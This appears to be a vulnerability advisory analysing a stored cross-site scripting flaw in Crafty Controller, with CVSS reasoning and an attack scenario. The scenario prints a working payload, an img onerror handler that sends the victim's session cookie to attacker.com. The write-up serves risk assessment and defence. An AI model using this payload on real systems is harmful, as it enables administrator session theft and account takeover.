Crafty Controller CVE-2025-5990

The CVSS 7.6 score reflects Attack Vector: Network, Attack Complexity: Low, Privileges Required: Low (authenticated), User Interaction: Required, Scope: Changed, with High Confidentiality and Low Integrity impacts. The authentication requirement significantly reduces opportunistic exploitation compared to unauthenticated XSS, but the 'Scope: Changed' rating indicates the XSS can affect users beyond the attacker's direct session. Real-world risk is moderate-to-high in managed environments where insider threats or compromised user accounts exist, but lower in purely external threat models. The User Interaction requirement (victims must view the poisoned form/page) introduces friction. Without public POC code, KEV designation, or EPSS probability data in typical feeds, this represents a 'competent attacker with credentials' threat rather than widespread autonomous exploitation. Priority should be elevated in multi-user admin-heavy deployments (e.g., shared hosting control panels, SaaS platforms) where stored XSS affects high-value targets.

An attacker with legitimate admin credentials (obtained via phishing, credential stuffing, or insider access) logs into Crafty Controller and navigates to server configuration. In the 'Server Name' field, the attacker enters: MyServer<img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)">. The input is stored unsanitized in the database. When a second administrator views the server list or dashboard, the malicious img tag renders, triggering the onerror handler, which exfiltrates the admin's session cookie to the attacker's server. The attacker can now hijack the admin session without further authentication. An alternative vector targets the API Key field with similar payload. No public POC is typically required for stored XSS exploitation—standard browser developer tools and curl suffice for crafting the payload, making this an attractive technique for insider threats or low-skill attackers with valid credentials.